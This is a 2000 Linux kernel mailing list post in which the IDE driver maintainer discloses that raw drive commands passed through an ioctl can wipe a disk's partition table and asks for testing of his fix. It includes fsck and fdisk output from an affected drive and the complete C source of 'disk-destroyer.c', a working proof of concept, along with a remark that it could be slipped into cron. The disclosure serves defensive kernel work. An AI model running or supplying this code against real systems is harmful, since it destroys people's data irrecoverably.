Date: Wed, 19 Jul 2000 22:31:38 -0700 (PDT) From: Andre Hedrick <andre@linux-ide.org> To: linux-kernel@vger.rutgers.edu Subject: disk-destroyer.c Here is the rouge program that can be slipped into CRON. A perl script......you name the access point and it gets permission KISS your DATA GONE! Do not playwith unless you can afford the data loss! Parallelizing fsck version 1.17 (26-Oct-1999) e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09 fsck.ext2: Device not configured while trying to open /dev/hde1 Possibly non-existent or swap device? mount: /dev/hde1 is not a valid block device Parallelizing fsck version 1.17 (26-Oct-1999) e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09 fsck.ext2: Attempt to read block from filesystem resulted in short read while trying to open /dev/hdg1 Could this be a zero-length partition? Not very funny.........heh...... fdisk /dev/hde Device contains neither a valid DOS partition table, nor Sun or SGI disklabel Building a new DOS disklabel. Changes will remain in memory only, until you decide to write them. After that, of course, the previous content won't be recoverable. Even less funny now.........heh...... Currently all Linux kernels can be ATTACKED in this method. This will cause a system death and a full FSCK afterwards and the drive attacked is gone! In some case you can recover. This version of "disk-destroyer.c" waxes the partition table. It is very serious, the scope of this problem. Now please test the patch and I will begin work on correcting 2.2. then 2.0 There is still a flaw, but I am getting it nailed. Some of the true disk access commands like in "disk-destroyer.c" slip pass the filter and need to be tighter. You have to love this..... Andre Hedrick The Linux ATA/IDE guy /* * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer disk-destroyer.c */ #include <unistd.h> #include <linux/string.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <ctype.h> #include <sys/ioctl.h> #include <sys/shm.h> #include <sys/stat.h> #include <sys/sysmacros.h> #include <sys/time.h> #include <sys/times.h> #include <sys/types.h> #include <linux/hdreg.h> #include <linux/fs.h> #include <linux/major.h> int main(int argc, char *argv[]) { unsigned char args[4+512] = {WIN_WRITE,0,0,1,}; int fd; if (argc != 2) { printf("usage: %s device\n", argv[0]); return 0; } if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) { perror("couldn't open device"); return 0; } if (ioctl(fd, HDIO_DRIVE_CMD, &args)) perror(" DISK_DESTROYER falied"); close(fd); return 0; }